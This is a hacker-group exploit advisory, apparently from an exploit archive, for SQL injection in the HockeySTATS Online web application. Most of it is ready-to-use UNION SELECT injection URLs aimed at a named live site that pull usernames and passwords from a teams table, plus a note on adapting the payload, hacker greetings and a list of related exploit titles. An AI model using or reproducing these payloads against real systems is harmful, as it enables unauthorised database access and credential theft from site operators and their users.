###############################################################

#################### Viva IslaM Viva IslaM ####################

##

## Remote SQL injection Vulnerability

##

## Hockeystats Online V BASIC & ADVANCED ( index.php opt )

##

###############################################################

###############################################################

##

## AuTh0r : Mr.SQL

##

## H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f

##

## Email : SQL@Hotmail.it

##

## SYRiAN Arab HACkErS

########################

########################

##

## -[[: L!VE DEMO :]]-

##

## [[BASIC VERSION]] www.thehockeystop.com/hstatsbasic/?opt=viewpage&type=html&id=-00002' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*

## www.thehockeystop.com/hstatsbasic/index.php?opt=schedule&season=1&divid=-1' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL from teams/*

##

## [[ADVANCED VERSION]] www.thehockeystop.com/hockeystats/?opt=viewpage&type=html&id=-00002' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*

## www.thehockeystop.com/hockeystats/index.php?opt=schedule&season=1&divid=-1' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL from teams/*

########################

########################

-[[ NOTE ]]-

1 ) In the first exploite you you need set the real id ?opt=viewpage&type=html&id=-< real id >' union select 0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0 from teams/*

2 ) Download [[Basic version]] code from here ;D http://www.thehockeystop.com/site/downloads/HSO_basic/HockeySTATS_Basic.zip

#######################################################################################################

#######################################################################################################

-(:: !Gr3E3E3E3E3E3E3TzZ! ::)-

:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::

#######################################################################################################

#######################################################################################################

【HockeySTATS Online 2.0 Multiple Remote SQL Injection Vulnerabilities】相关文章：

★ Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

★ Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit

★ Joomla Component EZ Store Remote Blind SQL Injection Exploit

★ Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability

★ BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability

★ WebCMS Portal Edition (id) Remote SQL Injection Vulnerability

★ Joomla Component DT Register Remote SQL injection Vulnerability

★ phsBlog 0.2 Bypass SQL Injection Filtering Exploit

★ Joomla Component n-forms 1.01 Blind SQL Injection Exploit

★ Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability